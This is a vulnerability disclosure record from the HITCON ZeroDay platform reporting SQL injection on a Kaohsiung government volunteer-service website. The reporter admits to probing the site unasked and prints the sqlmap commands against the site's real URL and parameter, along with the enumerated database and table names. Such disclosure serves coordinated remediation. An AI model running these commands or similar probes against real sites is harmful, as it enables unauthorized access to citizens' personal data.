Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2022-00698
- 發信 Vendor: 高雄市政府社會局志願服務資源中心
- Title: 高雄市政府社會局志願服務資源中心SQLi漏洞
- Introduction: 此網站存在SQi漏洞
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2022/09/02 08:52:56 : 新提交 (由 百鬼夜行 更新此狀態)
- 2022/09/02 08:54:14 : 新提交 (由 百鬼夜行 更新此狀態)
- 2022/09/02 11:06:47 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/09/05 15:09:28 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/09/05 16:25:55 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/09/05 16:25:55 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/09/05 16:25:55 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/10/31 12:11:25 : 修補中 (由 組織帳號 更新此狀態)
- 2022/11/02 03:00:04 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID：ZD-2022-00698
- 通報者：bpejfjsp1 (百鬼夜行)
- 風險：中
- 類型：資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明： OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明： OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明： CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式： OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
敘述
我無聊找個政府網站戳戳看
發現這個網站存在SQLi漏洞
詳圖
sqlmap -u "http://www.kvc.org.tw/Announcement_Content?stype=1&id=195" --dbs
available databases [5]:
[] demo_osohrs
[] information_schema
[] kvc
[] mysql
[*] test
sqlmap -u "http://www.kvc.org.tw/Announcement_Content?stype=1&id=195" -D "kvc" --tables
+----------------------+
| member |
| user |
| about |
| activity |
| activity_group |
| activity_info |
| activity_print |
| activity_reg |
| addr1 |
| addr_code |
| announcement |
| banner |
| basereason |
| comp_data |
| contactus |
| contactus_class |
| course |
| ecard |
| ecard_send |
| filedownload |
| howdovolunteer |
| job |
| link |
| login_admin_history |
| login_history |
| login_mobile_history |
| macth_ok |
| mail_check |
| mother |
| msg_cell |
| msg_month |
| msgmailuser |
| news |
| newsletter |
| newsletter_member |
| newstype |
| online_counter |
| online_counter_admin |
| photo |
| photo_pic |
| qa |
| qa_reply |
| qa_talk |
| rule |
| send_mail |
| send_mail_err |
| sh_train |
| temp_activity |
| temp_course |
| temp_unit |
| temp_vbook |
| temp_vbook2 |
| temp_vhcard |
| thinktank |
| traning |
| unit |
| unit20190930 |
| unit_act |
| unit_act_pic |
| unit_banner |
| unit_check_log |
| unit_class |
| unit_message |
| unit_recruit |
| unit_recruit_pic |
| unit_work |
| user_reg |
| vbook |
| vhcard |
| video |
| web_title_cnt |
+----------------------+
為了秉持不看資料原則
我戳到點就好